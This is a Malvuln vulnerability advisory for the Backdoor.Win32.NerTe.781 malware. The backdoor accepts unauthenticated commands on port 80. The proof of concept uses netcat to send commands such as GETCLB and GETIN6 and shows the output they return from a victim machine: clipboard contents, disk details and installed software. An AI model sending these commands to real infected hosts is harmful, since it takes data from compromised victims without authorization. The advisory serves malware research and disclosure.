Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/776e8bb41adf8bd95865c0b03637d8d7_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.NerTe.781 Vulnerability: Unauthenticated Remote Command Execution Description: Third-party attackers who can reach infected systems can connect to port 80 and run commands made available by the backdoor to retrieve information etc. Type: PE32 MD5: 776e8bb41adf8bd95865c0b03637d8d7 Vuln ID: MVID-2021-0265 Dropped files: nsrv78.exe Disclosure: 07/03/2021 Exploit/PoC: Example commands: GETCLB (Get Clipboard data) GETSND (Get sounds) GETIN2 (Get Installed Software) GETIN3 GETIN4 GETIN6 nc64.exe x.x.x.x 80 VERSIJ7.8.1ñnoñVictimñDESKTOP-2C4IQHO╢GETCLB GETCLB*************** Clipboard **************ñTomorrow West 18th and broadway.ñ*************** End **************╢GETSND GETSNDñññññññññññññññññC:\a\17.wavñC:\a\18.wavñññC:\a\21.wavñC:\a\22.wavññC:\a\23.wavñC:\a\24.wavñññññññC:\a\29.wavñC:\a\30.wavññC:\a\31.wavñC:\a\32.wav╢ MSGUnknown command╢GETIN2 GETIN2DESKTOP-2C4IQHOñVictimñññññ7:56:40 PMñ1 Hour, 11 Minutes, 42 Seconds.ñ1ñ1ñ1ñ2814.17ñUnknown╢ GETIN4NTFSñC:\Program Files (x86)\NerTeñA2C9-AD2Fñ85405782016ñ12950585344ñ512ñ8ñ20,851,021ñ3,161,764ñFixedñCDñC: []ñD: []╢ GETIN6HxD Hex Editor version 1.7.7.0ñNerTeñWinPcap 4.1.3ñWinSCP 5.13ñWireshark 2.4.5 64-bitñMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.30319ñMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148ñPython LauncherñJava Auto UpdaterñMicrosoft Visual C++ 2017 C:\Users\Victim\AppData\Local\Programs\Python\Python2\;C:\Users\Victim\AppData\Local\Microsoft\WindowsApps;;C:\Users\Victim\AppData\Local\Programs\Fiddler;C:\Program Files (x86)\Fiddler2\Fiddlerñ0PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;. Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).